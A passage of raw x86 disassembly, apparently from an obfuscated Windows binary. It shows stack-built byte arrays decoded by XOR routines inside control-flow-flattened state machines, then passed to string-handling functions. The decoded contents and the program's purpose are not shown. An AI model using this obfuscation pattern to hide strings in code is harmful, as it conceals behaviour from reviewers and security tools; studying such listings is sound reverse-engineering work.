mov byte [edi + 0xc], 0x65
mov byte [edi + 0xd], dl
mov dl, 0x71
mov byte [edi + 0xe], dl
mov byte [edi + 0xf], 0x66
mov byte [edi + 0x10], 0x39
mov byte [edi + 0x11], 0x3b
mov ch, 0x54
mov byte [edi + 0x12], ch
mov byte [edi + 0x13], 0x58
mov byte [edi + 0x14], 0x67
mov byte [edi + 0x15], 0x63
mov dh, 0x68
mov byte [edi + 0x16], dh
mov byte [edi + 0x17], 0x6c
mov byte [edi + 0x18], 0x75
mov byte [edi + 0x19], 0x72
mov byte [edi + 0x1a], 0x50
mov byte [edi + 0x1b], dh
mov byte [edi + 0x1c], dl
mov byte [edi + 0x1d], 0x60
mov byte [edi + 0x1e], cl
mov byte [edi + 0x1f], dh
mov byte [edi + 0x20], 0x52
mov byte [edi + 0x21], 0x5c
mov byte [edi + 0x22], ch
mov byte [edi + 0x23], 0x53
mov byte [edi + 0x24], 0x62
lea ecx, [esp + 0x47b]
lea edx, [esp + 0x47d]
mov dword [esp + 0x23c], edx
mov ebx, 0x994291a1
mov edx, 0x91077b17
cmp ebx, 0x91077b17
je 0x1006c7dc
cmp ebx, 0x994291a1
jne 0x1006c7b7
mov byte [ecx], 0
inc ecx
cmp ecx, dword [esp + 0x23c]
mov ebx, 0x994291a1
cmove ebx, edx
jmp 0x1006c7b7
mov ecx, dword [esp]
lea ebp, [ecx + 0x168]
mov dword [esp + 0x28c], eax
mov eax, dword [esp + 0x28c]
mov al, byte [eax]
mov byte [esp + 0x1fc], al
mov edx, 0x9e0c7f8b
mov ecx, 0x89c854a2
cmp edx, 0xa8b7367d
jg 0x1006c840
cmp edx, 0x82646bf7
je 0x1006c8b5
cmp edx, 0x89c854a2
je 0x1006c926
cmp edx, 0x9e0c7f8b
jne 0x1006c806
test byte [esp + 0x1fc], 1
mov edx, 0xa8b7367e
cmove edx, ecx
jmp 0x1006c806
cmp edx, 0xa8b7367e
je 0x1006c8d1
cmp edx, 0xf7a486f8
je 0x1006c8fb
cmp edx, 0xd4fc55
jne 0x1006c806
mov edx, dword [esp + 0x2d4]
mov bl, byte [esp + edx + 0x456]
mov edx, dword [esp + 0x2d4]
mov bh, byte [esp + 0x455]
mov eax, 0x7e
sub eax, edx
and eax, 0x65
inc edx
and edx, 0x9a
or edx, eax
xor dl, bh
xor dl, bl
xor dl, 0x40
mov eax, dword [esp + 0x2d4]
mov byte [esp + eax + 0x456], dl
inc dword [esp + 0x2d4]
mov edx, 0x82646bf7
jmp 0x1006c806
mov edx, dword [esp + 0x2d4]
cmp edx, 0x25
mov edx, 0xf7a486f8
mov eax, 0xd4fc55
cmovb edx, eax
jmp 0x1006c806
lea eax, [esp + 0x2d4]
mov dword [esp + 0x23c], eax
mov edx, dword [esp + 0x23c]
mov dword [esp + 0x2d4], 0
mov edx, 0x82646bf7
jmp 0x1006c806
mov edx, dword [esp + 0x23c]
mov byte [esp + 0x47b], 0
mov byte [esp + 0x47c], 0
mov edx, dword [esp + 0x28c]
mov byte [edx], 0
mov edx, 0x89c854a2
jmp 0x1006c806
xor eax, eax
mov dword [esp + 0x480], eax
mov dword [esp + 0x490], eax
mov dword [esp + 0x494], 0xf
mov byte [esp + 0x480], 0
push edi
call fcn.1009ee80
add esp, 4
mov ecx, esi
push eax
push edi
call fcn.10007b00
push esi
push ebp
call fcn.10061f56
add esp, 8
lea esi, [esp + 0x43c]
mov dword [esp + 0x94], esi
mov eax, dword [esp + 0x94]
lea eax, [esp + 0x420]
mov dword [esp + 0x98], eax
mov ecx, dword [esp + 0x98]
mov byte [eax], 1
mov byte [eax + 1], 0x3e
lea edi, [esp + 0x422]
mov byte [edi], 0x1d
mov byte [edi + 1], pe_nt_image_headers32
mov byte [edi + 2], 0x72
mov byte [edi + 3], 0x4b
mov byte [edi + 4], 0x4d
mov byte [edi + 5], 0x44
mov byte [edi + 6], 0x4e
mov byte [edi + 7], 0x59
mov byte [edi + 8], 0x5c
mov byte [edi + 9], 0x70
mov byte [edi + 0xa], 0x60
mov byte [edi + 0xb], 0x43
mov byte [edi + 0xc], 0x48
mov byte [edi + 0xd], 0x5a
mov byte [edi + 0xe], 0x46
mov byte [edi + 0xf], 0x45
mov byte [edi + 0x10], 0x58
mov byte [edi + 0x11], 0x52
mov byte [edi + 0x12], 0x41
mov byte [edi + 0x13], 0x1c
mov byte [edi + 0x14], 0x7d
mov byte [edi + 0x15], 0x75
mov byte [edi + 0x16], 0x65
mov byte [edi + 0x17], 0x62
lea ecx, [esp + 0x43a]
lea edx, [esp + 0x43c]
mov dword [esp + 0x23c], edx
mov ebx, 0x6f34885d
mov edx, 0x9095dfaa
cmp ebx, 0x9095dfaa
je 0x1006ca40
cmp ebx, 0x6f34885d
jne 0x1006ca1b
mov byte [ecx], 0
inc ecx
cmp ecx, dword [esp + 0x23c]
mov ebx, 0x6f34885d
cmove ebx, edx
jmp 0x1006ca1b
mov ecx, dword [esp]
lea ebp, [ecx + 0x180]
mov dword [esp + 0x28c], eax
mov eax, dword [esp + 0x28c]
mov al, byte [eax]
mov byte [esp + 0x1fc], al
mov edx, 0xebe16903
mov eax, 0x18ee5566
mov ecx, 0xc0ee5983
cmp edx, 0xebe16902
jg 0x1006caba
cmp edx, 0xb256afed
je 0x1006cae4
cmp edx, 0xc0ee5983
je 0x1006cb6a
cmp edx, 0xdd480f66
jne 0x1006ca6f
lea edx, [esp + 0x2d4]
mov dword [esp + 0x23c], edx
mov edx, dword [esp + 0x23c]
mov dword [esp + 0x2d4], 0
mov edx, 0x41b8c51f
jmp 0x1006ca6f
cmp edx, 0x41b8c51f
je 0x1006cb0f
cmp edx, 0x18ee5566
je 0x1006cb26
cmp edx, 0xebe16903
jne 0x1006ca6f
test byte [esp + 0x1fc], 1
mov edx, 0xdd480f66
cmove edx, ecx
jmp 0x1006ca6f
mov edx, dword [esp + 0x23c]
mov byte [esp + 0x43a], 0
mov byte [esp + 0x43b], 0
mov edx, dword [esp + 0x28c]
mov byte [edx], 0
mov edx, 0xc0ee5983
jmp 0x1006ca6f
mov edx, dword [esp + 0x2d4]
cmp edx, 0x18
mov edx, 0xb256afed
cmovb edx, eax
jmp 0x1006ca6f
mov edx, dword [esp + 0x2d4]
mov bl, byte [esp + edx + 0x422]
mov edx, dword [esp + 0x2d4]
mov bh, byte [esp + 0x421]
inc dl
xor dl, bh
xor dl, bl
xor dl, 0x18
mov ebx, dword [esp + 0x2d4]
mov byte [esp + ebx + 0x422], dl
inc dword [esp + 0x2d4]
mov edx, 0x41b8c51f
jmp 0x1006ca6f
xor eax, eax
mov dword [esp + 0x43c], eax
mov dword [esp + 0x44c], eax
mov dword [esp + 0x450], 0xf
mov byte [esp + 0x43c], 0
push edi
call fcn.1009ee80
add esp, 4
mov ecx, esi
push eax
push edi
call fcn.10007b00
push esi
push ebp
call fcn.10061f56
add esp, 8
lea esi, [esp + 0x408]
mov dword [esp + 0x9c], esi
mov eax, dword [esp + 0x9c]
lea eax, [esp + 0x3e4]
mov dword [esp + 0xa0], eax
mov ecx, dword [esp + 0xa0]
mov byte [eax], 1
mov byte [eax + 1], 0x3e
lea edi, [esp + 0x3e6]
mov byte [edi], 0x1a
mov byte [edi + 1], 0x7f
mov byte [edi + 2], 0x75
mov byte [edi + 3], 0x4c
mov byte [edi + 4], 0x4a
mov byte [edi + 5], 0x43
mov byte [edi + 6], 0x49
mov byte [edi + 7], 0x5e
mov byte [edi + 8], 0x5b
mov byte [edi + 9], 0x77
mov cl, 0x79
mov byte [edi + 0xa], cl
mov byte [edi + 0xb], 0x54
mov byte [edi + 0xc], 0x5f
mov byte [edi + 0xd], pe_nt_image_headers32
mov byte [edi + 0xe], 0x61
mov byte [edi + 0xf], 0x66
mov byte [edi + 0x10], 6
mov byte [edi + 0x11], 7
mov byte [edi + 0x12], 0x6e
mov byte [edi + 0x13], 0x7c
mov byte [edi + 0x14], cl
mov byte [edi + 0x15], 0x72
mov cl, 0x6a
mov byte [edi + 0x16], cl
mov byte [edi + 0x17], cl
mov byte [edi + 0x18], 0x57
mov byte [edi + 0x19], 0x5c
mov byte [edi + 0x1a], 0x55
mov byte [edi + 0x1b], 0x48
mov byte [edi + 0x1c], 0x6b
mov byte [edi + 0x1d], 0x7d
mov byte [edi + 0x1e], 0x62
lea ecx, [esp + 0x405]
lea edx, [esp + 0x407]
mov dword [esp + 0x23c], edx
mov ebx, 0x6b2d2d72
mov edx, 0xac1a3574
cmp ebx, 0xac1a3574
je 0x1006cca0
cmp ebx, 0x6b2d2d72
jne 0x1006cc7b
mov byte [ecx], 0
inc ecx
cmp ecx, dword [esp + 0x23c]
mov ebx, 0x6b2d2d72
cmove ebx, edx
jmp 0x1006cc7b
mov ecx, dword [esp]
lea ebp, [ecx + 0x198]
mov dword [esp + 0x28c], eax
mov eax, dword [esp + 0x28c]
mov al, byte [eax]
mov byte [esp + 0x1fc], al
mov edx, 0xfc05f5d
mov ecx, 0xbeaa9632
cmp edx, 0xfc05f5c
jg 0x1006cd16
cmp edx, 0xbeaa9632
je 0x1006cdde
cmp edx, 0xcc0ea06f
je 0x1006cd44
cmp edx, 0xdf70cfd4
jne 0x1006ccca
mov edx, dword [esp + 0x23c]
mov byte [esp + 0x405], 0
mov byte [esp + 0x406], 0
mov edx, dword [esp + 0x28c]
mov byte [edx], 0
mov edx, 0xbeaa9632
jmp 0x1006ccca
cmp edx, 0x6dd41a01
je 0x1006cd98
cmp edx, 0x1ea8868e
je 0x1006cdc2
cmp edx, 0xfc05f5d
jne 0x1006ccca
test byte [esp + 0x1fc], 1
mov edx, 0x6dd41a01
cmove edx, ecx
jmp 0x1006ccca
mov edx, dword [esp + 0x2d4]
mov bl, byte [esp + edx + 0x3e6]
mov edx, dword [esp + 0x2d4]
mov bh, byte [esp + 0x3e5]
mov eax, 0xfe
sub eax, edx
and eax, 0xc4
inc edx
and edx, 0x3b
or edx, eax
xor dl, bh
xor dl, bl
xor dl, 0xdb
mov eax, dword [esp + 0x2d4]
mov byte [esp + eax + 0x3e6], dl
inc dword [esp + 0x2d4]
mov edx, 0x1ea8868e
jmp 0x1006ccca
lea eax, [esp + 0x2d4]
mov dword [esp + 0x23c], eax
mov edx, dword [esp + 0x23c]
mov dword [esp + 0x2d4], 0
mov edx, 0x1ea8868e
jmp 0x1006ccca
mov edx, dword [esp + 0x2d4]
cmp edx, 0x1f
mov edx, 0xdf70cfd4
mov eax, 0xcc0ea06f
cmovb edx, eax
jmp 0x1006ccca
xor ebx, ebx
mov dword [esp + 0x408], ebx
mov dword [esp + 0x418], ebx
mov dword [esp + 0x41c], 0xf
mov byte [esp + 0x408], bl
push edi
call fcn.1009ee80
add esp, 4
mov ecx, esi
push eax
push edi
call fcn.10007b00
push esi
push ebp
call fcn.10061f56
add esp, 8
lea esi, [esp + 0x3cc]
mov dword [esp + 0xa4], esi
mov eax, dword [esp + 0xa4]
lea eax, [esp + 0x3b0]
mov dword [esp + 0xa8], eax
mov ecx, dword [esp + 0xa8]
mov cl, 1
mov byte [eax], cl
mov byte [eax + 1], 0x3e
lea edi, [esp + 0x3b2]
mov byte [edi], 0x1d
mov byte [edi + 1], pe_nt_image_headers32
mov byte [edi + 2], 0x72
mov byte [edi + 3], 0x4b
mov byte [edi + 4], 0x4d
mov byte [edi + 5], 0x44
mov byte [edi + 6], 0x4e
mov byte [edi + 7], 0x59
mov dl, 0x5c
mov byte [edi + 8], dl
mov byte [edi + 9], 0x70
mov byte [edi + 0xa], 0x7e
mov byte [edi + 0xb], 0x53
mov byte [edi + 0xc], 0x58
mov byte [edi + 0xd], 0x7f
mov byte [edi + 0xe], 0x66
mov byte [edi + 0xf], 0x61
mov byte [edi + 0x10], cl
mov byte [edi + 0x11], bl
mov byte [edi + 0x12], 0x69
mov byte [edi + 0x13], 0x45
mov byte [edi + 0x14], 0x51
mov byte [edi + 0x15], 0x55
mov byte [edi + 0x16], dl
mov byte [edi + 0x17], 0x62
lea ecx, [esp + 0x3ca]
lea edx, [esp + 0x3cc]
mov dword [esp + 0x23c], edx
mov ebx, 0x6f34885d
mov edx, 0x9095dfaa
cmp ebx, 0x9095dfaa
je 0x1006cef6
cmp ebx, 0x6f34885d
jne 0x1006ced1
mov byte [ecx], 0
inc ecx
cmp ecx, dword [esp + 0x23c]
mov ebx, 0x6f34885d
cmove ebx, edx
jmp 0x1006ced1
mov ecx, dword [esp]
lea ebp, [ecx + 0x1b0]
mov dword [esp + 0x28c], eax
mov eax, dword [esp + 0x28c]
mov al, byte [eax]
mov byte [esp + 0x1fc], al
mov edx, 0xebe16903
mov eax, 0x18ee5566
mov ecx, 0xc0ee5983
cmp edx, 0xebe16902
jg 0x1006cf70
cmp edx, 0xb256afed
je 0x1006cf9a
cmp edx, 0xc0ee5983
je 0x1006d020
cmp edx, 0xdd480f66
jne 0x1006cf25
lea edx, [esp + 0x2d4]
mov dword [esp + 0x23c], edx
mov edx, dword [esp + 0x23c]
mov dword [esp + 0x2d4], 0
mov edx, 0x41b8c51f
jmp 0x1006cf25
cmp edx, 0x41b8c51f
je 0x1006cfc5
cmp edx, 0x18ee5566
je 0x1006cfdc
cmp edx, 0xebe16903
jne 0x1006cf25
test byte [esp + 0x1fc], 1
mov edx, 0xdd480f66
cmove edx, ecx
jmp 0x1006cf25
mov edx, dword [esp + 0x23c]
mov byte [esp + 0x3ca], 0
mov byte [esp + 0x3cb], 0
mov edx, dword [esp + 0x28c]
mov byte [edx], 0
mov edx, 0xc0ee5983
jmp 0x1006cf25
mov edx, dword [esp + 0x2d4]
cmp edx, 0x18
mov edx, 0xb256afed
cmovb edx, eax
jmp 0x1006cf25
mov edx, dword [esp + 0x2d4]
mov bl, byte [esp + edx + 0x3b2]
mov edx, dword [esp + 0x2d4]
mov bh, byte [esp + 0x3b1]
inc dl
xor dl, bh
xor dl, bl
xor dl, 0x18
mov ebx, dword [esp + 0x2d4]
mov byte [esp + ebx + 0x3b2], dl
inc dword [esp + 0x2d4]
mov edx, 0x41b8c51f
jmp 0x1006cf25
xor eax, eax
mov dword [esp + 0x3cc], eax
mov dword [esp + 0x3dc], eax
mov dword [esp + 0x3e0], 0xf
mov byte [esp + 0x3cc], 0
push edi
call fcn.1009ee80
add esp, 4
mov ecx, esi
push eax
push edi
call fcn.10007b00
push esi
push ebp
call fcn.10061f56
add esp, 8
lea eax, [esp + 0x398]
mov dword [esp + 0xac], eax
mov eax, dword [esp + 0xac]
lea eax, [esp + 0x37c]
mov dword [esp + 0xb0], eax
mov ecx, dword [esp + 0xb0]
mov byte [eax], 1
mov byte [eax + 1], 0x3e
lea edi, [esp + 0x37e]
mov byte [edi], 0x13
mov byte [edi + 1], 0x76
mov byte [edi + 2], 0x5c
mov byte [edi + 3], 0x45
mov byte [edi + 4], 0x43
mov byte [edi + 5], 0x4a
mov byte [edi + 6], 0x40
mov byte [edi + 7], 0x57
mov byte [edi + 8], 0x52
mov byte [edi + 9], 0x7e
mov byte [edi + 0xa], 0x74
mov byte [edi + 0xb], 0x4d
mov byte [edi + 0xc], 0x4b
mov byte [edi + 0xd], 0x75
mov byte [edi + 0xe], 0x5f
mov byte [edi + 0xf], 0x6b
mov byte [edi + 0x10], 0x65
mov byte [edi + 0x11], 0x5b
mov byte [edi + 0x12], 0x56
mov byte [edi + 0x13], 0x58
mov byte [edi + 0x14], 0xb
mov byte [edi + 0x15], 0xa
lea ecx, [esp + 0x394]
lea edx, [esp + 0x396]
mov dword [esp + 0x23c], edx
mov ebx, 0x25d409e3
mov edx, 0xf109429b
cmp ebx, 0xf109429b
je 0x1006d132
cmp ebx, 0x25d409e3
jne 0x1006d10d
mov byte [ecx], 0
inc ecx
cmp ecx, dword [esp + 0x23c]
mov ebx, 0x25d409e3
cmove ebx, edx
jmp 0x1006d10d
mov ecx, dword [esp]
lea ebp, [ecx + 0x1c8]
mov dword [esp + 0x28c], eax
mov eax, dword [esp + 0x28c]
mov al, byte [eax]
mov byte [esp + 0x1fc], al
mov edx, 0xa5190fe8
cmp edx, 0x5239890
jg 0x1006d1d1
cmp edx, 0xa5190fe8
je 0x1006d20d
cmp edx, 0xb33f0dee
je 0x1006d227
cmp edx, 0xc76dd9a4
jne 0x1006d157
mov edx, dword [esp + 0x2d4]
mov bl, byte [esp + edx + 0x37e]
mov eax, dword [esp + 0x2d4]
mov dl, byte [esp + 0x37d]
movzx ecx, dl
lea esi, [eax + 1]
mov edx, 0xfe
sub edx, eax
and edx, ecx
not ecx
and ecx, esi
or edx, ecx
xor dl, bl
xor dl, 0x16
mov eax, dword [esp + 0x2d4]
mov byte [esp + eax + 0x37e], dl
inc dword [esp + 0x2d4]
mov edx, 0x64b9cd47
jmp 0x1006d157
cmp edx, 0x5239891
je 0x1006d27c
cmp edx, 0x1255c80e
je 0x1006d251
cmp edx, 0x64b9cd47
jne 0x1006d157
mov edx, dword [esp + 0x2d4]
cmp edx, 0x16
mov edx, 0x1255c80e
mov eax, 0xc76dd9a4
cmovb edx, eax
jmp 0x1006d157
test byte [esp + 0x1fc], 1
mov edx, 0xb33f0dee
mov eax, 0x5239891
cmove edx, eax
jmp 0x1006d157
lea eax, [esp + 0x2d4]
mov dword [esp + 0x23c], eax
mov edx, dword [esp + 0x23c]
mov dword [esp + 0x2d4], 0
mov edx, 0x64b9cd47
jmp 0x1006d157
mov edx, dword [esp + 0x23c]
mov byte [esp + 0x394], 0
mov byte [esp + 0x395], 0
mov edx, dword [esp + 0x28c]
mov byte [edx], 0
mov edx, 0x5239891
jmp 0x1006d157
xor eax, eax
mov dword [esp + 0x398], eax
mov dword [esp + 0x3a8], eax
mov dword [esp + 0x3ac], 0xf
mov byte [esp + 0x398], 0
push edi
call fcn.1009ee80
add esp, 4
lea esi, [esp + 0x398]
mov ecx, esi
push eax
push edi
call fcn.10007b00
push esi
push ebp
call fcn.10061f56
add esp, 8
lea eax, [esp + 0x364]
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
lea eax, [esp + 0x348]
mov dword [esp + 0xb8], eax
mov ecx, dword [esp + 0xb8]
mov byte [eax], 1
mov byte [eax + 1], 0x3e
lea edi, [esp + 0x34a]
mov byte [edi], 0x13
mov byte [edi + 1], 0x76
mov byte [edi + 2], 0x7c
mov cl, 0x45
mov byte [edi + 3], cl
mov byte [edi + 4], 0x43
mov dl, 0x4a
mov byte [edi + 5], dl
mov byte [edi + 6], 0x40
mov byte [edi + 7], 0x57
mov byte [edi + 8], 0x52
mov byte [edi + 9], 0x7e
mov byte [edi + 0xa], 0x46
mov ch, 0x5c
mov byte [edi + 0xb], ch
mov byte [edi + 0xc], 0x55
mov byte [edi + 0xd], dl
mov dh, 0x48
mov byte [edi + 0xe], dh
mov byte [edi + 0xf], dl
mov byte [edi + 0x10], ch
mov byte [edi + 0x11], dh
mov byte [edi + 0x12], 0x15
mov byte [edi + 0x13], 0x59
mov byte [edi + 0x14], cl
mov byte [edi + 0x15], 0x5b
lea ecx, [esp + 0x360]
lea edx, [esp + 0x362]
mov dword [esp + 0x23c], edx
mov ebx, 0x25d409e3
mov edx, 0xf109429b
cmp ebx, 0xf109429b
je 0x1006d394
cmp ebx, 0x25d409e3
jne 0x1006d36f
mov byte [ecx], 0
inc ecx
cmp ecx, dword [esp + 0x23c]
mov ebx, 0x25d409e3
cmove ebx, edx
jmp 0x1006d36f
mov ecx, dword [esp]
lea ebp, [ecx + 0x1e0]
mov dword [esp + 0x28c], eax
mov eax, dword [esp + 0x28c]
mov al, byte [eax]
mov byte [esp + 0x1fc], al
mov edx, 0xa5190fe8
cmp edx, 0x5239890
jg 0x1006d433
cmp edx, 0xa5190fe8
je 0x1006d46f
cmp edx, 0xb33f0dee
je 0x1006d489
cmp edx, 0xc76dd9a4
jne 0x1006d3b9
mov edx, dword [esp + 0x2d4]
mov bl, byte [esp + edx + 0x34a]
mov eax, dword [esp + 0x2d4]
mov dl, byte [esp + 0x349]
movzx ecx, dl
lea esi, [eax + 1]
mov edx, 0xfe
sub edx, eax
and edx, ecx
not ecx
and ecx, esi
or edx, ecx
xor dl, bl
xor dl, 0x16
mov eax, dword [esp + 0x2d4]
mov byte [esp + eax + 0x34a], dl
inc dword [esp + 0x2d4]
mov edx, 0x64b9cd47
jmp 0x1006d3b9
cmp edx, 0x5239891
je 0x1006d4de
cmp edx, 0x1255c80e
je 0x1006d4b3
cmp edx, 0x64b9cd47
jne 0x1006d3b9
mov edx, dword [esp + 0x2d4]
cmp edx, 0x16
mov edx, 0x1255c80e
mov eax, 0xc76dd9a4
cmovb edx, eax
jmp 0x1006d3b9
test byte [esp + 0x1fc], 1
mov edx, 0xb33f0dee
mov eax, 0x5239891
cmove edx, eax
jmp 0x1006d3b9
lea eax, [esp + 0x2d4]
mov dword [esp + 0x23c], eax
mov edx, dword [esp + 0x23c]
mov dword [esp + 0x2d4], 0
mov edx, 0x64b9cd47
jmp 0x1006d3b9
mov edx, dword [esp + 0x23c]
mov byte [esp + 0x360], 0
mov byte [esp + 0x361], 0
mov edx, dword [esp + 0x28c]
mov byte [edx], 0
mov edx, 0x5239891
jmp 0x1006d3b9
xor eax, eax
mov dword [esp + 0x364], eax
mov dword [esp + 0x374], eax
mov dword [esp + 0x378], 0xf
mov byte [esp + 0x364], 0
push edi
call fcn.1009ee80
add esp, 4
lea esi, [esp + 0x364]
mov ecx, esi
push eax
push edi
call fcn.10007b00
push esi
push ebp
call fcn.10061f56
add esp, 8
lea esi, [esp + 0x330]
mov dword [esp + 0xbc], esi
mov eax, dword [esp + 0xbc]
lea eax, [esp + 0x318]
mov dword [esp + 0xc0], eax
mov ecx, dword [esp + 0xc0]
mov byte [eax], 1
mov byte [eax + 1], 0x3e
lea edi, [esp + 0x31a]
mov byte [edi], 0x11
mov byte [edi + 1], 0x74
mov byte [edi + 2], 0x7e
mov byte [edi + 3], 0x47
mov cl, 0x41
mov byte [edi + 4], cl
mov byte [edi + 5], 0x48
mov byte [edi + 6], 0x42
mov byte [edi + 7], 0x55
mov byte [edi + 8], 0x50
mov byte [edi + 9], 0x7c
mov byte [edi + 0xa], 0x72
mov byte [edi + 0xb], 0x5f
mov dl, 0x54
mov byte [edi + 0xc], dl
mov byte [edi + 0xd], 0x49
mov byte [edi + 0xe], 0x4a
mov byte [edi + 0xf], dl
mov byte [edi + 0x10], 0x15
mov byte [edi + 0x11], 0x5d
mov byte [edi + 0x12], cl
mov byte [edi + 0x13], 0x5b
lea ecx, [esp + 0x32e]
lea edx, [esp + 0x330]
mov dword [esp + 0x23c], edx
mov ebx, 0xdaafbcfe
mov edx, 0x8e679db2
cmp ebx, 0x8e679db2
je 0x1006d5ef
cmp ebx, 0xdaafbcfe
jne 0x1006d5ca
mov byte [ecx], 0
inc ecx
cmp ecx, dword [esp + 0x23c]
mov ebx, 0xdaafbcfe
cmove ebx, edx
jmp 0x1006d5ca
mov ecx, dword [esp]
lea ebp, [ecx + 0x1f8]
mov dword [esp + 0x28c], eax
mov eax, dword [esp + 0x28c]
mov al, byte [eax]
mov byte [esp + 0x1fc], al
mov edx, 0x87a940be
mov eax, 0x43e823c
mov ecx, 0xf40d9879
cmp edx, 0x43e823b
jg 0x1006d66d
cmp edx, 0x87a940be
je 0x1006d6b8
cmp edx, 0xf40d9879
je 0x1006d6cd
cmp edx, 0x1b323d2
jne 0x1006d61e
lea edx, [esp + 0x2d4]
mov dword [esp + 0x23c], edx
mov edx, dword [esp + 0x23c]
mov dword [esp + 0x2d4], 0
mov edx, 0xc319fe4
jmp 0x1006d61e
cmp edx, 0x43e823c
je 0x1006d728
cmp edx, 0xc319fe4
je 0x1006d711
cmp edx, 0x69a734d2
jne 0x1006d61e
mov edx, dword [esp + 0x23c]
mov byte [esp + 0x32e], 0
mov byte [esp + 0x32f], 0
mov edx, dword [esp + 0x28c]
mov byte [edx], 0
mov edx, 0x43e823c
jmp 0x1006d61e
test byte [esp + 0x1fc], 1
mov edx, 0x1b323d2
cmove edx, eax
jmp 0x1006d61e
mov edx, dword [esp + 0x2d4]
mov bl, byte [esp + edx + 0x31a]
mov edx, dword [esp + 0x2d4]
mov bh, byte [esp + 0x319]
inc dl
xor dl, bh
xor dl, bl
xor dl, 0x14
mov ebx, dword [esp + 0x2d4]
mov byte [esp + ebx + 0x31a], dl
inc dword [esp + 0x2d4]
mov edx, 0xc319fe4
jmp 0x1006d61e
mov edx, dword [esp + 0x2d4]
cmp edx, 0x14
mov edx, 0x69a734d2
cmovb edx, ecx
jmp 0x1006d61e
xor eax, eax
mov dword [esp + 0x330], eax
mov dword [esp + 0x340], eax
mov dword [esp + 0x344], 0xf
mov byte [esp + 0x330], 0
push edi
call fcn.1009ee80
add esp, 4
mov ecx, esi
push eax
push edi
call fcn.10007b00
push esi
push ebp
call fcn.10061f56
add esp, 8
lea esi, [esp + 0x300]
mov dword [esp + 0xc4], esi
mov eax, dword [esp + 0xc4]
lea eax, [esp + 0x2d4]
mov dword [esp + 0xc8], eax
mov eax, dword [esp + 0xc8]
lea edi, [esp + 0x2d6]
mov byte [edi - 2], 1
mov byte [edi - 1], 0x3e
mov byte [edi], 0x2d
mov byte [edi + 1], 0x48
mov byte [edi + 2], 0x42
mov al, 0x7b
mov byte [edi + 3], al
mov cl, 0x7d
mov byte [edi + 4], cl
mov dl, 0x74
mov byte [edi + 5], dl
mov byte [edi + 6], 0x7e
mov ah, 0x69
mov byte [edi + 7], ah
mov byte [edi + 8], 0x6c
mov ch, 0x40
mov byte [edi + 9], ch
mov dh, 0x6e
mov byte [edi + 0xa], dh
mov byte [edi + 0xb], 0x7f
mov byte [edi + 0xc], ah
mov byte [edi + 0xd], dh
mov byte [edi + 0xe], 0x70
mov bl, 0x65
mov byte [edi + 0xf], bl
mov byte [edi + 0x10], dh
mov byte [edi + 0x11], 0x6a
mov byte [edi + 0x12], 0x62
mov byte [edi + 0x13], 0x5e
mov dh, 0x57
mov byte [edi + 0x14], dh
mov byte [edi + 0x15], 0x72
mov byte [edi + 0x16], dl
mov byte [edi + 0x17], cl
mov byte [edi + 0x18], al
mov byte [edi + 0x19], ah
mov byte [edi + 0x1a], ah
mov byte [edi + 0x1b], 0x43
mov byte [edi + 0x1c], bl
mov byte [edi + 0x1d], al
mov byte [edi + 0x1e], cl
mov byte [edi + 0x1f], dh
mov al, 0x5b
mov byte [edi + 0x20], al
mov byte [edi + 0x21], 0x58
mov byte [edi + 0x22], 0x50
mov byte [edi + 0x23], ch
mov byte [edi + 0x24], 0x1d
mov byte [edi + 0x25], 0x55
mov byte [edi + 0x26], 0x49
mov byte [edi + 0x27], al
lea eax, [esp + 0x2fe]
lea ecx, [esp + 0x300]
mov dword [esp + 0x23c], ecx
mov edx, 0x19789f8b
mov ecx, 0xf7eff590
cmp edx, 0xf7eff590
je 0x1006d87e
cmp edx, 0x19789f8b
jne 0x1006d859
mov byte [eax], 0
inc eax
cmp eax, dword [esp + 0x23c]
mov edx, 0x19789f8b
cmove edx, ecx
jmp 0x1006d859
mov eax, dword [esp]
lea ebp, [eax + 0x210]
lea eax, [esp + 0x2d4]
mov dword [esp + 0x28c], eax
mov eax, dword [esp + 0x28c]
mov al, byte [eax]
mov byte [esp + 0x184], al
mov edx, 0x465a065e
mov eax, 0x857d259d
mov ecx, 0x8d61cffb
cmp edx, 0x9415e6d
jg 0x1006d8dd
cmp edx, 0x857d259d
je 0x1006d90f
cmp edx, 0x8c9733de
je 0x1006d953
cmp edx, 0x8d61cffb
jne 0x1006d8b4
jmp 0x1006d9bf
cmp edx, 0x9415e6e
je 0x1006d96a
cmp edx, 0x2798b1ca
je 0x1006d995
cmp edx, 0x465a065e
jne 0x1006d8b4
test byte [esp + 0x184], 1
mov edx, 0x2798b1ca
cmove edx, ecx
jmp 0x1006d8b4
mov edx, dword [esp + 0x1fc]
mov bl, byte [esp + edx + 0x2d6]
mov edx, dword [esp + 0x1fc]
mov bh, byte [esp + 0x2d5]
inc dl
xor dl, bh
xor dl, bl
xor dl, 0x28
mov ebx, dword [esp + 0x1fc]
mov byte [esp + ebx + 0x2d6], dl
inc dword [esp + 0x1fc]
mov edx, 0x8c9733de
jmp 0x1006d8b4
mov edx, dword [esp + 0x1fc]
cmp edx, 0x28
mov edx, 0x9415e6e
cmovb edx, eax
jmp 0x1006d8b4
mov edx, dword [esp + 0x23c]
mov byte [esp + 0x2fe], 0
mov byte [esp + 0x2ff], 0
mov edx, dword [esp + 0x28c]
mov byte [edx], 0
mov edx, 0x8d61cffb
jmp 0x1006d8b4
lea edx, [esp + 0x1fc]
mov dword [esp + 0x23c], edx
mov edx, dword [esp + 0x23c]
mov dword [esp + 0x1fc], 0
mov edx, 0x8c9733de
jmp 0x1006d8b4
xor eax, eax
mov dword [esp + 0x300], eax
mov dword [esp + 0x310], eax
mov dword [esp + 0x314], 0xf
mov byte [esp + 0x300], 0
push edi
call fcn.1009ee80
add esp, 4
mov ecx, esi
push eax
push edi
call fcn.10007b00
push esi
push ebp
call fcn.10061f56
add esp, 8
lea esi, [esp + 0x2bc]
mov dword [esp + 0xcc], esi
mov eax, dword [esp + 0xcc]
lea eax, [esp + 0x28c]
mov dword [esp + 0xd0], eax
mov eax, dword [esp + 0xd0]
lea edi, [esp + 0x28e]
mov byte [edi - 2], 1
mov byte [edi - 1], 0x3e
mov byte [edi], 0x2f
mov byte [edi + 1], 0x4a
mov al, 0x40
mov byte [edi + 2], al
mov byte [edi + 3], 0x79
mov byte [edi + 4], 0x7f
mov byte [edi + 5], 0x76
mov byte [edi + 6], 0x7c
mov byte [edi + 7], 0x6b
mov cl, 0x6e
mov byte [edi + 8], cl
mov byte [edi + 9], 0x42
mov byte [edi + 0xa], 0x4c
mov byte [edi + 0xb], 0x61
mov dl, 0x6a
mov byte [edi + 0xc], dl
mov byte [edi + 0xd], cl
